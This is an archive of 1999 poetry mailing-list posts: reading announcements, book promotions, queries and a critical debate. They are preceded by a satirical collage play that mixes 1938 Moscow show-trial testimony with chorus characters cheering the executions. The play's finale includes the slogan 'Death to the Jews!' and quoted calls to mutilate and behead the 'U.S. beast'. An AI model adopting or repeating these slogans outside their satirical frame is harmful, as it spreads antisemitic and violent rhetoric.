PEOPLE'S COMMISSARIAT OF JUSTICE OF THE U.S.S.R. REPORT OF COURT PROCEED- INGS IN THE CASE OF THE ANTI-SOVIET "BLOC OF RIGHTS AND TROTSKYITES" Heard Before the MILITARY COLLEGIUM OF THE SUPREME COURT OF THE U.S.S.R. Moscow, March 2-13, VERBATIM REPORT, Published

by the PEOPLE'S COMMISSARIAT OF JUSTICE OF THE U.S.S.R. MOSCOW 1938.

Jennifer, Julu, and Nikuko applaud.
All three together: This is wonderful!

VYSHINSKY: How matters stood with butter, this is of interest to me at this stage of the investigation. You have spoken of salt, of sugar, how you held back these commodities from sale to the population by sabotage, etc. But how did matters stand with butter? ZELENSKY: We don't sell butter in the rural dis- tricts. VYSHINSKY: I am not asking you what you sell. You were above all sell- ing the main thing - your country...

Alan: I see how this goes. This is amazing. They have been found out, and it is clear at the very end that the wreckers are executed. Nothing could be clearer. One must be at the service of one's country.

LEVIN: ...Gorky loved fire, flames, and we made use of this. A bonfire would be lit up for him. Just when Gorky would feel the fatigue after his work, all the chopped branches were gathered together, and a flame kind- led. Gorky would stand near this bonfire, it was hot there, and all this had a harmful effect on his health... ...And in fact, on the second or third day after his arrival in this grippe- infected house, Gorky fell sick with the grippe. This was soon complicated by croupous pneumonia and imme- diately took a serious turn. Nonetheless, Pro- fessor Pletnev and I consid- ered that the plan we had drawn up must be car- ried through, and that for this purpose use must be made of medicines which would be harmful to him.

Julu: Oh oh, that is so awful! This is such an awful thing! I cannot be- lieve how awful this is!

THE PRESIDENT: As regards wrecking work, that it was necessary to bring about a decrease in the number of livestock. RYKOV: Even more than that. These instructions, as Goloded said, were duly received from the poles...

Jennifer: Oh! Oh! Oh! Attacks from every side!
Nikuko: Oh! Woe! Attacks from within and without!

KRESTINSKY: ...Further Trotsky developed the idea of the necessity of ter- ror- ism, wrecking activities and diversions. In speaking of them, Trotsky considered diversionist acts and acts of terrorism from the point of view both of applying them in time of war for the purpose of disorganizing the defensive capacity of the Red Army, for disorganizing the government by the moment of the coup d'etat, and at the same time, these diversionist and terrorist acts would make his, Trotsky's, position stronger and would give him more confidence in his ne- gotiations with foreign governments, be- cause he would be able to refer to the

fact that his followers in the Sov- iet Union were both sufficiently strong and sufficiently active...

Julu: Oh dearest us! How awful is Trotsky! Something must be done and now! There are foes on every side! There are foes inside and out!

KAKAZOV: ...Now when I stand before you, Citizens Judges, as the murderer of Menzhinsky, I cannot help shuddering and being overcome with horror when I think of the despicable crime into which I was dragged. Not for a minute do I want to disclaim the blame for this crime. On the contrary I want to repent of this crime to the end and rid myself of this nightmare.

Alan: Oh curses on Kakazov for his perfidious crime! To death with perfid- ious Kakazov!

On the basis of the aforesaid, and guided by Articles 319 and 320 of the Code of Criminal Procedure of the R.S.F.S.R., The Military Collegium of the Supreme Court of the U.S.S.R. Sentences...[list of 18 men]...to the supreme penalty - to be shot, with the confiscation of all their personal property.

All: Oh we are saved from the wrecking and saboteurs of our country! Death to the traitors! Death to the BLOC OF RIGHTS AND TROTSKYITES! Death to the Jews!

Nikuko: This is a wonderful play, Ladies and Gentlemen, and we hope you have enjoyed it. We have given you much to think on, because the truth, which is al- ways difficult, is the best play in the world! Please take care on your way out! Thank you!

KIM IL SUNG: Hello, I am a member of the audience and I am very happy to see this play. If more countries, even though small, pool their strength and fight resolutely against imperialism, the peoples can knock down U.S. imperialism with decisively overwhelming power on each and every front. The people of ev- ery country making revolution should tear limbs off the U.S. beast all over the world and behead it. The U.S. imperialists appear to be strong, but when the peoples of many countries attack them from all sides and join in mutilating them in that way, they will become impotent and bite the dust in the end.

Jennifer: But oh Great Leader, what is to be done?

KIM IL SUNG: Hello, Our Party will fight against Right and 'Left' oppor- tunism, while upholding the banner of unity.

Julu: Oh that is so good, we will drag down the renegades of the revolu- tion!

PRESIDENT AND KIM IL SUNG: Yes, ABSOLUTEly!

All Laugh!

Exeunt Omnes.

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152. Kyle Conner
HIGHWIRE READING
Wed 13 Oct 1999

---

a g a i n * w e * m e e t

__HIGHWIRE__READINGS__ >>thiS timE IT'S

J E N A O S M A N .....

+++

..... A L A N G I L B E R T

Come to 139 N. 2nd St., Highwire Gallery, THIS Saturday, Oct. 16, at the same ol' 8PM bring a refreshment if ya like, take a seat, it's the verbal herbal, and directly following there will be revelry at our favorite local pub, the estimable Anthony's--try the fried oyster special

****

POETS:

JENA OSMAN is the newest faculty member of the Temple University Graduate English/Creative Writing program. She co-edits Chain with Juliana Spahr. In her work, including a CD-ROM poem, she explores a procedural poetics.

ALAN GILBERT recently gave a controversial talk about Hank Williams and the Harry Smith Anthology at the Boston Poetry Conference. He also wrote a scathing and intelligent response to Jeffery Sachs' article in The Economist about the economic troubles in Russia.

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153. Kimmelman, Burt
Tandy Sturgeon
Wed 13 Oct 1999

Hi,

Can anyone tell me how to contact Tandy Sturgeon?

Thanks,

Burt Kimmelman
[redacted]

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154. **Rachel Loden**

Hotel Imperium: book announcement

Wed 13 Oct 1999

Now available:

H O T E L I M P E R I U M

Poems by Rachel Loden

Winner of the Contemporary Poetry Series competition
University of Georgia Press, 1999

ISBN: 0820321699

"Fierce humor has HOTEL IMPERIUM, as well as a heady run in which Nixon and brassieres stud the trail; the whole century bends its tragedy beneath Rachel Loden's clear intelligence. These are brilliant, moving poems--poems to read for pure joy and chills over and over from here on out." --Susan Wheeler

"Rachel Loden is not merely fashionable or current. She's a late-century muse of everything valuable in poetry--voice, shape, and gesture. Add to that a wicked sense of humor and a disarmingly fresh and penetrating eye for social and political concerns. But her poems are not political in the simple sense of the word. Loden's poetry guarantees complexity as it charts new territory with assurance. Rarely does a writer emerge with such authority. HOTEL IMPERIUM is the debut of a startlingly original writer." --Maxine Chernoff

"Ablaze with moral passion, hushed in fairy-tale bliss, or chuckling up to terror, Rachel Loden's tight poems of intricate subversion are gloriously musical, alive to each scintilla of sound and measure." --Stephanie Strickland

"Steadily, with imaginative insight, humor, sarcasm, irony, Rachel Loden looks at history, the great continuous and absolutely unstoppable weave of memories that is, like it or not, the medium of human existence. Definitely 'residential', her HOTEL IMPERIUM is "a murderous dream, confetti falling / helplessly into the fissured past" ("Premillennial Tristesse"). In its corridors and rooms, Loden makes us confront many of the century's still active ghosts, in manifestations both familiar and wittily defamiliarized: "The old man's overcoat stirs / in the dark, as though / about to cup a hand once more / to an unhearing ear ..." ("Reagan Ascending into Hollywood"). Political in the best and rarest sense of the word, Loden's poems show us how to reimagine our (and others') lives, with a vividness reminiscent of both the COMMEDIA and SPRING & ALL. In sum: great, terrifying, insidiously beautiful work!" --Anselm Hollo

"If you are looking for a book of poems ruthless and luxuriant enough to see you into the third millennium, take along Rachel Loden's HOTEL IMPERIUM, winner of the 1999 University of Georgia Press Contemporary Poets Prize. These startling and vibrant poems capture the tristesse of the post-apocalyptic era, the whimpering end of the Cold War, and the "irrational exuberance" that comes "after the end." Loden's poems are especially necessary and important now, because they will temper the noisy hype of millennial newness and its promise of release from history. "You will enter history," announces the book's first section, which mourns the last fifty years of a brutal century, while refusing to be consoled by apocalyptic fantasies of rebirth or regeneration. . . .

"In the extraterritorial Hotel-world of global capital, we are all on the move, whether as tourists, refugees, or vagabonds. Loden's "Hotel Imperium" is peopled with strange and ghostly lodgers, most notably the former leaders of the Western world and the Soviet Bloc. Represented by Loden in their mental and physical decline, these "cold warriors, like dying jellyfish," are beginning to "grow dim." Richard Nixon slips "in and out of consciousness," while his dog Checkers, about to be exhumed, speaks reassuring words from beyond the grave. Ronald Reagan's overcoat, enlivened after museum enshrinement proceedings, gives a last, and amiable, salute. We contemplate "Lenin's body [on display in a Red Square mausoleum], chilly like a mammoth / in an ice floe." Loden is at her best when she combines her grimly acute historical observations with the "errant / sweetness" and breadth of learning characteristic of her book's guiding presence, Robert Duncan. Then we re-experience, with a shock, our century's unholy mixture of paradise and wasteland.

"The human body--erotic, ecstatic, torn, and tortured--is a constant presence in HOTEL IMPERIUM. The book's presiding spirit is the violated figure of "revenge," who "lies sweetly in the fields / with her legs open, / her Bo Peep / petticoats in ribbons." To this bloody figure and its promise of future violence, Loden proposes a counter-figure, "love." If love cannot offer us redemption ("saving nothing standing in its wake"), it can offer us new histories out of which new futures may be possible. We are lucky to have in Rachel Loden a troubadour unafraid to sing of terror, and a brilliant balladeer of our history's shabbiest episodes. As we move into a new millennium, we should listen carefully to this self-professed "rhapsodist of cunning" and "songbird of iniquity" as she sings sweetly of "love, revenge, remaindering." --Kathleen Crown, in AMERICAN LETTERS & COMMENTARY

Cover: Tricky Dick a la Lichtenstein. View here:

http://www.amazon.com/exec/obidos/ASIN/0820321699/qid%3D937098693/002-8369867-7542621

Special to POETICS subscribers: $12.77 (20% off) postpaid.

Please backchannel ([redacted]) or send check to:

Rachel Loden
E-Traffic Inc.
1101 San Antonio Road, Suite 404
Mountain View, CA 94043

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155. **David Giles Scott**
Re: Studies or Essays on Tom Phillips
Wed 13 Oct 1999

As far as i know Mary Ann Caws up at CUNY has written some essays on Phillips, though i'm not sure where they are located. It's a starting point thought.

David Giles Scott

On Mon, 11 Oct 1999, Molly Schwartzburg wrote:

> *I've found almost nothing at all on Phillips on the literature end of things, though on the art end there are reviews and catalogs of individual shows.*
>
> *There is a selected bibliography in the catalog for an exhibition at North Carolina Museum of Art:*
>
> *Huston Paschal, _Tom Phillips: Selections from the Ruth and Marvin Sackner Archive of Concrete and Visual Poetry_. Raleigh: North Carolina Museum of Art, 1990.*
>
> *I am currently working on Phillips and would also appreciate any suggestions.*
> *--Molly Schwartzburg*
>
> *On Mon, 11 Oct 1999, Bob Grumman wrote:*
>
> *I'd much appreciate your posting whatever you find out about critical reaction to the work of Tom Phillips. I doubt that there's much, for the same reason there's almost nothing out there about ANY genuine visual poets.*
>
> *--Bob G.*

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156. Tenney Nathanson
BOO? who?
Wed 13 Oct 1999

---

getting ready to have seminar class on Muse & Drudge. Does anyone know whether the interview w Harryette in BOO 7 is available electronically? I have a copy, but it's heavily marked up, and I'd like to make a clean copy available to the seminar.

also: leads on other good stuff ON the book?

thanks in advance

Tenney

mailto:[redacted]
mailto:[redacted]
http://www.u.arizona.edu/~nathanso/tn/

↑ Index

157. Alan Sondheim
Writing-space at trAce - (fwd, apologies for cross-post)
Wed 13 Oct 1999

Hi -

The Love and War project at the trAce online writing community has been placed in 'museum' status -

There are four new pages to contribute to. You can write within them, add hypertext or hypertext links, etc. - We're interested in all forms of writing/intractivity (whatever the format will support) - seeing what will emerge. Go to http://trace.ntu.ac.uk/writers/sondheim/index.htm

Thanks - Alan -

(also see http://trace.ntu.ac.uk/)

Internet Text at http://www.anu.edu.au/english/internet_txt Partial at http://lists.village.virginia.edu/~spoons/internet_txt.html Trace Projects at http://trace.ntu.ac.uk/writers/sondheim/index.htm

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158. Jordan Davis
noteworthy event for noteworthy book
Wed 13 Oct 1999

Book Party to Celebrate the Release of

HOW MANY MORE OF THEM ARE YOU?
by Lisa Lubasch

Avec Books, 1999

FRIDAY OCTOBER 22
6 - 9 pm

6 pm. Reception
7 pm. Reading & Musical Response featuring

New music by composer John Kramer,
Performed by

Ken Long, clarinettist
Louise Dubin, cellist
Monica Bauchwitz, violinist

Teachers & Writers Collaborative
5 Union Square West, 7th floor
tel. [redacted]

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159. David Baratier
PANTS
Wed 13 Oct 1999

1998-99 winner of the Pavement Saw Press Chapbook Contest
Ruth Anderson Barnett, editor of the Marlboro Review chose PANTS by Shelley Stenhouse. 40 pages. Exciting retro cover.

IF YOU GO OUT FOR FAKE BEER AND NEVER COME BACK

who will click keys in the door,
stack the towels on the too-high shelf,
talk to the plumber while he works,
sleep on the right side of the bed?
How dare you leave and not take your smell with you?
“Your thigh is cool,” you said,
“like a puddle on a basement floor.”
The brown mole on your sad thin back,
your narrow shoulders and crooked smile,
your unopened mail.
I never even gave you a drawer.
(You kept your big plastic suitcase under the bed.)

I will rope off your work boots like a museum,
draw a chalk line around your dirty T-shirt where it fell.

I loiter at the patch of once wet sidewalk
where you carved your initials with a straw.
Someday I will pass that spot
and not think about you at all.
Then I will pack your plastic suitcase
and put it on the street.
Soon I'll see a bum wearing your old shoes.

-------- Shelley Stenhouse's fiction and poetry have appeared in The Antioch Review, Third Coast, Mudfish, and other publications. Her work has been nominated for a Pushcart Prize and excerpted in Poet's Market. She received an MFA in fiction from Vermont College, was a 1998 and 1999 resident of Yaddo, and is an ongoing member of the Writers Room, where she is completing her first novel. She wrote and performed a one-woman show in 1989. Shelley was born in Chicago, and now lives in Greenwich Village with her daughter, Daisy-green.

The poems in Shelley Stenhouse’s Pants emerge from a childhood of privilege, one in which the speaker’s father “president of something downtown / at thirty five,” teaches her this primary ethic “You do what you do, you do it-- / Christ, you just do what you want”-- and she learns from her other how to squander the body on sex and booze, as though it were limitless cash. In vivid scenes, he poems show how powerful these parental lessons are, as the speaker’s own adolescence and then adulthood replay the drama of promiscuity, alcohol and drug use, and emotional alienation. In spite of legacy enacted here, the voice refuses the easy answers of tabloid and talk show sterotypes. Under the poet’s unrelenting reguard, these sinners (father, mother, self) are revisited through metaphors that reveal how complex human choice and action are, and through a music that captures “that moment before things turn, that moment / when something sings...”

Ruth Anderson Barnett

Pavement Saw Press Chapbook Award Series
ISBN 1-886350-87-6 Price: $6.00

Checks to:
Pavement Saw Press
PO Box 6291
Columbus OH 43206

or SPD

The Pavement Saw Press Chapbook Award was established in 1995 to promote writers whose work challenges conventions of contemporary poetry while encouraging multiple readings. Writers world-wide are invited to participate. Each year, one manuscript is selected by a writer with a thorough familiarity of the small press realm. Publication, a prize of five hundred dollars, and ten percent of the book run is awarded to the winner.

Be well

David Baratier

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160. Michael Magee
COMBO website
Wed 13 Oct 1999

Just letting folks know that a photo of the cover (significantly more yellow than in person where it's a gleaming gold) as well as a few sample poems from COMBO 4 are now available at our website. So, go, be enticed and order a subscription!

http://dept.english.upenn.edu/~wh/combo

-Mike.

↑ Index

161. Lowther, John
demographic query
Wed 13 Oct 1999

at times i've been interested to see the country by country numerical listing of poetix listees

but i wonder if it might be possible to zero in on states or regions and plot the distribution along those lines

more for curiousity than any other reason

but i'd love to know how many listees there are in

florida
geogia
south carolina
north carolina
virgina
alabama
louisianna

tennesee
mississippi

that is, the south (did i forget any states ?)

↑ Index

162. Arielle C. Greenberg
Re: HIGHWIRE READING
Wed 13 Oct 1999

Just a request -- could people please try to remember to list the city when they're listing readings? Sometimes they forget and they just say "2nd Street" and it all seems a little vague...second street anywhere in the world?

Thanks,
Arielle
(who lives on Delhi Street, but here -- in Syracuse -- it's pronounced "Dell-high")

********** "I thought numerous gorgeous sadists would write me plaintive appeals, but time has gone by me. They know where to get better looking boots than I describe." -- Ray Johnson

↑ Index

163. Mark Weiss
Re: Review of Beach's Poetic Culture
Wed 13 Oct 1999

I think Fanny would be a little surprised to find herself in that group.

At 08:57 PM 10/12/99 -0700, you wrote:
>in reference to dobyns mark,
>
> we're all marked on a curve and dobyns may be one of them but he's one of
>the best of them, the other children of mallarme, the franco-americans.
>levine, kinnel,piercy, willard, merwin, bidart, oliver, bly, hannigan,
>where's paul hannigan? fanny howe , ray carver,wendell berry, richard
>hugo, c.d.wright, ammons, haines, stern. brock-broido gilbert, , gluck,
>charles wright, jorie grahame, sextonists, loganistas, roethkeites,
>they're transcendentalists, emerzen and aughthorn their diogenes, bad as
>they may be, they are graaaaaaaate poets compared to 98% of the Web De Sol
>say or the chicago review.
>we're not sharpening any machetes are we mark?
>the audience is vast

>we couldn't satisfy the demand
>if they ceased to produce
>those them
>nobody rereads charles bernstein
>at the race track
>
>billy meowsie tongue little
>
>
>forbidden plateau fallen body dojo
>4 song st.
>nowhere, b.c. V0R1Z0
>canadaddy
>[redacted]
>zonko
>
>

↑ Index

164. David Kirschenbaum
Do you trade?
Wed 13 Oct 1999

Michael-Grabbed a combo at Granary books moving sale, nice stuff. Do you trade?
as ever,
David Kirschenbaum, editor
Boog Literature
(formalities upon introduction only)

_____
Get Your Private, Free Email at http://www.hotmail.com

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165. Tom Beckett
singing the holes in history
Wed 13 Oct 1999

A few weeks ago Hank Lazer mentioned Paul Naylor's book _Singing the Holes in History_(Northwestern University Press). I want to recommend it also. The author, Paul Naylor, gives interesting readings of Susan Howe, Nathaniel Mackey, Lyn Hejinian, Kamau Brathwaite and M. Nourbese Phillip

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166. **pete spence**
Re: demographic query
Wed 13 Oct 1999

>
>at times i've been interested to see the country by country numerical
>listing of poetix listees
>
>but i wonder if it might be possible to zero in on states or regions and
>plot the distribution along those lines
>
>more for curiousity than any other reason
>
>but i'd love to know how many listees there are in
>
>florida
>geogia
>south carolina
>north carolina
>virgina
>alabama
>louisianna
>tennesee
>mississippi
>
>that is, the south (did i forget any states ?)
>
what about the SOUTH ZAUMIST PROTECTORITE whyche i'm LIT Minister of!! pete
spence

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

167. **Anastasios Kozaitis**
Re: Studies or Essays on Tom Phillips
Wed 13 Oct 1999

There are some wonderful essays on a web site devoted to his work. In particular, I'm thinking of an essay by William Gass.

ak

> *I've found almost nothing at all on Phillips on the literature end of things, though on the art end there are reviews and catalogs of individual shows.*
>
> *There is a selected bibliography in the catalog for an exhibition at North Carolina Museum of Art:*
>
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>
> *--Bob G.*

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168. David Kirschenbaum

Andrei Codrescu in NYC, Wed. October 20, 8pm, at Makor 35 W.67th St.

Thu 14 Oct 1999

Fellow listees,
A friend of mine is organizing this event and I thought it might be of interest.
as ever,
David Kirschenbaum

Andrei Codrescu's Radio Messiah
Wednesday, October 20, 8pm
Makor 35 West 67 Street (Bet. Columbus and Central Park West)
New York City
$12; call [redacted] for reservations

Radio Messiah is a one-man show by Andrei Codrescu with radio voices from preachers, gurus, and conspiracy theorists. This piece is about fathers, earthly

and heavenly. Originally commissioned by Lincoln Center for their Directors' Workshop, Radio Messiah was performed twice, once at Lincoln Center and shortly after at Central Park's SummerStage in the Fall of 1998. The play is indirectly connected with Andrei Codrescu's novel, Messiah (Simon & Schuster, 1999). Andrei will be signing Messiah, Ay,Cuba and an anthology from the anti-literary literary journal he edits, Thus Spake the Corpse: An Exquisite Corpse Reader 1988-1998, Poetry and Essays. Andrei Codrescu may be most popularly known for his sardonic, humor-laced radio essays, heard since 1983 on National Public Radio's All Things Considered. In these essays Codrescu has ranged from describing his encounters with a young hustler and an un-official Catholic saint in Cuba, to musing on American pop culture and reporting on his return to his native Romania after the fall of the Iron Curtain.

David A. Kirschenbaum editor and publisher
Boog Literature
351 W.24th St. Suite 19E
New York, NY 10011-1510

Get Your Private, Free Email at http://www.hotmail.com

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169. Katie Degentesh
TONIGHT AT ADOBE BOOKS
Thu 14 Oct 1999

OCTOBER 14, 1999, 7:30 PM at the ADOBE BOOKSHOP

9x9 INDUSTRIES returns to PRESENT

<bold>AN EVENING OF BLANKETY BLANKETY BLANK WITH THE SOMETHING SOMETHINGS

</bold>The hyperbolic adjective trio,

<bold>Todd Barker, Paul Spencer, and Felix Macnee,

</bold>will perform the above-titled work.

Bring your fever-pitch unction and dangling participles.

There will be a certain amount of danger.

<bold>Todd Barker</bold> holds a Masters of Fine Arts degree from the California College of Arts and Crafts, generally in his left hand. He has performed and exhibited widely, in venues such as The Lab and the Gorgonzola Peach Blintz.

<bold>Paul Spencer,</bold> currently completing a degree in painting at the San Francisco Art Institute, chips his canvas with a whimsical mannerist futon and piles his words on with advanced cat pressure.

<bold>Felix Macnee</bold> has snaggled teeth, a pork pie hat, and deals the cards with two broken hands. He has written a play starring green beans.

--please note that Michael Disend, hypnotist and screen writer extraordinaire, has unfortunately had to cancel his opening performance--

1999 (NINETEEN NINETY (NINE BY NINE) INDUSTRIES) 199X9

9X9 INDUSTRIES http://www.paraffin.org/nine/

GIVE US YOUR TIRED, YOUR POOR, YOUR THURSDAY ASSES

YEARNING TO SEE PERFORMANCES FOR FREE

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170. David Kellogg
Re: Review of Beach's Poetic Culture
Thu 14 Oct 1999

David Zauhar wrote:

> *On Tue, 12 Oct 1999, David Kellogg wrote:*
>
> *Mark, I haven't read Beach's new book but I was disappointed in -- even pissed off by -- the chapter on Hejinian and Dobyns when it came out in Contemporary Literature. If I recall, it made a few perfunctory gestures in the direction of sociology (e.g., Bourdieu) and then went off into a wholly predictable close reading of the two poets in which Hejinian clearly comes off the "winner." For all the sociological posturing, this struck me a pointless exercise and an insult to the sociology of poetry. Maybe the rest of the book is better, I'll have to see.*
>
> *Bourdieu makes a few cameos, mostly in footnotes. Insightful and concise every time, but some development would be helpful. Personally, I came to the book with the same predispositions concerning Dobyns and Hejinian as Beach displays.*

So did I.

> *When Mark Presjner writes of this section of Beach's book that...*
> *----------*
> *MP:*
> *in another chapter he examines the career and work of workshop maven Stephen Dobyns in comparison to the career and work of Lyn Hejinian... (he*

> *comes to the conclusion that, without prior prejudice about which type of poetry is "good" and which "bad," Dobyns is a fairly weak poet and Hejinian a pretty good one....Which makes sense to me; ...Most people wd. suspect his claim to be so "without prejudice" about overall styles to start with... But i think he would argue that he is reaching conclusions about the relative strength of different contemporary camps..not starting out with them. And this claim to some extent is backed-up by his treatment of slam work, which he like a whole lot more than workshop, and treats with considerable respect.)*
> ---
> *... I generally agree: he lets slammers get away with things that Dobyns pays for rather dearly. But I can't find where Beach says that he's approaching Dobyns and Hejinian without prejudice. In the intro, Beach writes "I have at times stated my own aesthetic criteria and preferences quite strongly, as in teh comparison of the `mainstream' academic poet Stephen Dobyns and the experimentalist Lyn Hejinian {hmmmm, why no scare quotes around the equally dubious term "experimentalist"?}, and in my critiques of poetry anthologies and academic creative writing programs. While my intent has been to write a book that is synthetic and open-minded rather than narrowly partisan, I do believ that certain sectors of American poetic culture have been more successful than others in articulaint new perspectives and in generating innovative formal and cognitive structures..."(17-8)*

The difficulty here is that it sets up the game in favor of the experimentalist. I doubt Dobyns would view his own poetry's importance in the way it articulates new perspectives or generates innovative formal and cognitive structures -- there might be other terms he would use -- so the fact that his work _doesn't_ do that is of no consequence. None. Nor do these criteria make any headway into understanding what readers actually _do_ with Dobyns, which as far as I could tell Beach couldn't care less about. Certainly the article in Contemporary Literature, on which I assume this chapter is based, provided no such analysis. Perhaps the values of Dobyns's audience are not Beach's -- given that possibility, it is at least worth asking what people who _do_ get something out of it get.

I'm no fan of Stephen Dobyns. But Beach's article is not cultural criticism or literary sociology.

> *Which is why the point that David Kennedy*

Kellogg, but OK.

> *raises is interestingis it possible to have (and express) one's own aesthetic preferences*
>
> *without insulting the sociology of poetry? And if so, who are some of the critics who pull it off?*

I think Maria Damon pulls it off pretty well. Charles Bernstein does it OK too, although his calls for diversity are rarely, in my experience, made in the direction of mainstream poetry. (Much as Adrienne Rich quotes Bernstein in the intro to her Best of . . . selection but then prints nothing of his compatriots'). Cary Nelson does it well in Repression and Recovery.

> *Asking out of curiousity, not hostility, petulance, etc.*

Well said, especially given that my own earlier post was nothing if not hostile.

Cheers,
David

David Kellogg
[redacted]
Duke University, University Writing Program
[redacted]

↑ Index

171. Mark Prejsnar
Beach's Poetic Culture (guerilla poetix)
Thu 14 Oct 1999

David Zauhar asks where Beach says he is without prejudice; well, i think what i said, or anyway what i *meant*, tho maybe i expressed it badly, is precisely conveyed by a passage DZ proceeds to quote:

"While my intent has been to write a book that is synthetic and open-minded rather than narrowly partisan, I do believ that certain sectors of American poetic culture have been more successful than others in articulaint new perspectives and in generating innovative formal and cognitive structures..."(17-8)

--i meant no more than what Beach means here: that he is trying to be "open-minded rather than narrowly partisan." I think the general approach by the way is interesting and probably a useful move, in the overall context of the ongoing poetry wars... (..in those wars i am usually pretty much a narrow partisan myself, lurking in the mountains, making hit-and-run attacks on the better-eqipped and well-funded occupying forces...*But* i dream of a just negotiated peace....)

Obviously, many will claim Beach hasn't succeeded in his "open-minded rather than narrow" goal.... I myself have mixed feelings... But the idea and the attempt are praiseworthy.

in the maquis,

mark prejsnar

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172. Alan Golding
Tom Phillips refs.
Thu 14 Oct 1999

A couple of short ones: Steve McCaffery has a very brief discussion of Phillips in his essay "The Scandal of Sincerity: Towards a Levinasian Poetics," *Pretexts: Studies in Writing and Culture* 6.2 (1997): 167-190. In a note he cites a web site that apparently has Phillips material so maybe that'll be helpful: www.wolfenet.com/duchamp/

And Johanna Drucker has a couple of pages on *A Humument* in *The Century of Artists' Books* (NY: Granary, 1995).

Alan

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173. Jim Andrews
Cauldron & Net launches, vol of Web art & writings
Thu 14 Oct 1999

CAULDRON & NET LAUNCHES http://www.StudioCleo.com/cauldron/ Claire Dinsmore has just launched the first volume of Cauldron & Net on Web art and writing. The first issue features Jennifer Ley, Thomas Bell, Talan Memmott, David Knoebel, Todd Sanders, George Quasha, Peter Ganick, David Knoebel, Lars Wickstrom, Reiner Strasser, Kohei Shimizu, Nathaniel Bobbitt, State Sanctioned Sedation, Cecil Touchon, Shawn Phillips, Ted Warnell, and Jim Andrews.

DEFIB http://webartery.com/defib Claire and some of the contributors to this first Cauldron & Net will be participating in Defib (IRC, Web-based chat) on Sunday Nov 7, noon PST (7:00 GMT). All you need to participate in Defib is a java enabled browser.

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174. Michael Franco
OXFORD ST READS OCTOBER 24th 1999
Thu 14 Oct 1999

WORD OF MOUTH
oxford street
READS

SUNDAY OCTOBER 24TH, 1999 3 PM

FROM SAN FRANCISCO:
susan thackrey
&
FROM GLOUCESTER
monica peck

$3.00 donation 90-92 oxford st. somerville ma. first floor

EXTENDING NOW THE TALK SERIES INITIATED WITH GERRIT LANSING AND DIANE DI PRIMA LAST SPRING, THESE READINGS, AT ONCE FORMAL AND YET -HOPEFULLY- INTIMATE; CHAMBER EVENTS WHERE POETRY IS NOT REMOVED FROM THE IMMEDIACY OF THE CONTEMPORARY BY THE APPARATUS OF STAGE OR PODIUM; COLLAGE, BOOKSTORE OR VENUE AUTHORIZATION: BUT RESTS SOLELY UPON OUR NEED OF IT... IN OUR LIVING ROOM... THESE READINGS THEN TO COMPLETE THE CIRCLE OF ACTIVITY & BRING IT ALL HOME.

all best
Michael Franco

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175. **David Kellogg**
Re: Review of Beach's Poetic Culture
Thu 14 Oct 1999

Got the Beach book from the library this a.m., read it quickly, and will respond to the whole, rather than to my memory of a part, shortly. My initial reaction, having read it _very quickly_, is somewhat more positive than my reaction to the Hejinian/Dobyns chapter in _Contemporary Literature_. As one committed to my own Bourdieuvian (?) analysis of contemporary poetry, I can't help thinking that in trying to provide a "defense" of poetry against "the impoverished cultural spirit of American life" in the _midst_ of a sociology is a betrayal of Bourdieu's best bits, as in the following:

"There is a specific economy of the literary and artistic field, based on a particular form of belief. And the major difficulty lies in the need to make a radical break with this belief and with the deceptive certainties of the language of celebration, without thereby forgetting that they are part of the very reality we are seeking to understand, and that, as such, they must have a place in the model intended to explain it. . . . The work of art is an object which exists as such only by virtue of the (collective) belief which knows and acknowledges it as a work of art. Consequently, in order to escape from the usual choice between celebratory effusions and the reductive analysis which, failing to take account of the fact of belief in the work of art and of the social conditions which produce that belief, destroys the work of art as such, a rigorous science of art must, pace

both the unbelievers and iconoclasts and also the believers, assert the possibility and necessity of understanding the work in its reality as a fetish; it has to take into account everything which helps to constitute the work of art as such, not least the discourses of direct and disguised celebration which are among the social conditions of production of the work of art qua object of belief." (Bourdieu, The Field of Cultural Production, 1993, p. 35)

More to follow.

David Kellogg
[redacted]
Duke University, University Writing Program
[redacted]

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176. Lowther, John
Re: Review of Beach's Poetic Culture
Thu 14 Oct 1999

i gotta second that one

"merwin.. bly.. fanny howe..."

why am i choking ???

> *-----Original Message-----*
> *From: Mark Weiss [SMTP:[redacted]]*
>
> *I think Fanny would be a little surprised to find herself in that group.*
>
> *At 08:57 PM 10/12/99 -0700, you wrote:*
> *in reference to dobyns mark,*
>
> *we're all marked on a curve and dobyns may be one of them but he's one of*
> *the best of them, the other children of mallarme, the franco-americans.*
> *levine, kinnel,piercy, willard, merwin, bidart, oliver, bly, hannigan,*
> *where's paul hannigan? fanny howe...*

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177. Herb Levy
Re: Studies or Essays on Tom Phillips
Thu 14 Oct 1999

Most all of our books are still in boxes, so I can't be any more specific, but I know there was a special issue of the Canadian magazine Open Letter

sometime in the, probably, late 1980s, that focused on Tom Phillips, Ian Hamilton Finlay, & someone else I can't remember.

Bests,

Herb

Herb Levy
NEW MAILING ADDRESS: P O Box 9369 Forth Wort, TX 76147
NEW PHONE: 817 [redacted]
same old e-mail: [redacted]

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178. hassen
Re: HIGHWIRE READING
Thu 14 Oct 1999

highwire's in philadelphia

h

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179. Rachel Loden
reading announcement
Thu 14 Oct 1999

Stephanie Strickland will be reading from my books HOTEL IMPERIUM and THE LAST CAMPAIGN at the Hudson Valley Writers' Center this Sunday, October 17, at 4:30 p.m. I've read the poems to her and she's read them back to me so I know she reads them brilliantly. The other readers are Andrea Louie and Sharon Mesmer. Louie is author of a novel, MOON CAKES. She's publications director at the Asian American Writers' Workshop, has had residencies at the Macdowell Colony and Yaddo, and is a freelance writer and editor. Mesmer has a poetry collection, HALF ANGEL, HALF LUNCH, and a story collection, THE EMPTY QUARTER. She teaches fiction writing and literature at the New School.

There's a train out of Grand Central on Metro-North's Hudson line that leaves at 3:20 and brings you literally to the site of the reading (the center's digs at Philipse Manor) a little after 4 p.m. Info kiosk folk at Grand Central can easily tell you the track number for the 3:20 to Philipse Manor. Center email: [redacted]. Please come!

Rachel

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180. Pritchett,Patrick
Re: Left Hand Reading Series, 10/21/99
Thu 14 Oct 1999

> *LEFT HAND READING SERIES PRESENTS:*
>
> *RIKKI DUCORNET - novelist*
> *&*
> *JOSEPH LEASE - poet*
>
> *Thursday, October 21, 1999 at 8:30pm*
> *Left Hand Books*
> *1825 Pearl Street, above the Crystal Market*
> *Boulder, CO*
>
> *Rikki Ducornet's latest novel is "The Fan Maker's Inquistion." Her books include, "The Jade Cabinet,: "The Fountains of Neptune," The Word Desire," and "Phosphor in Dreamland."*
>
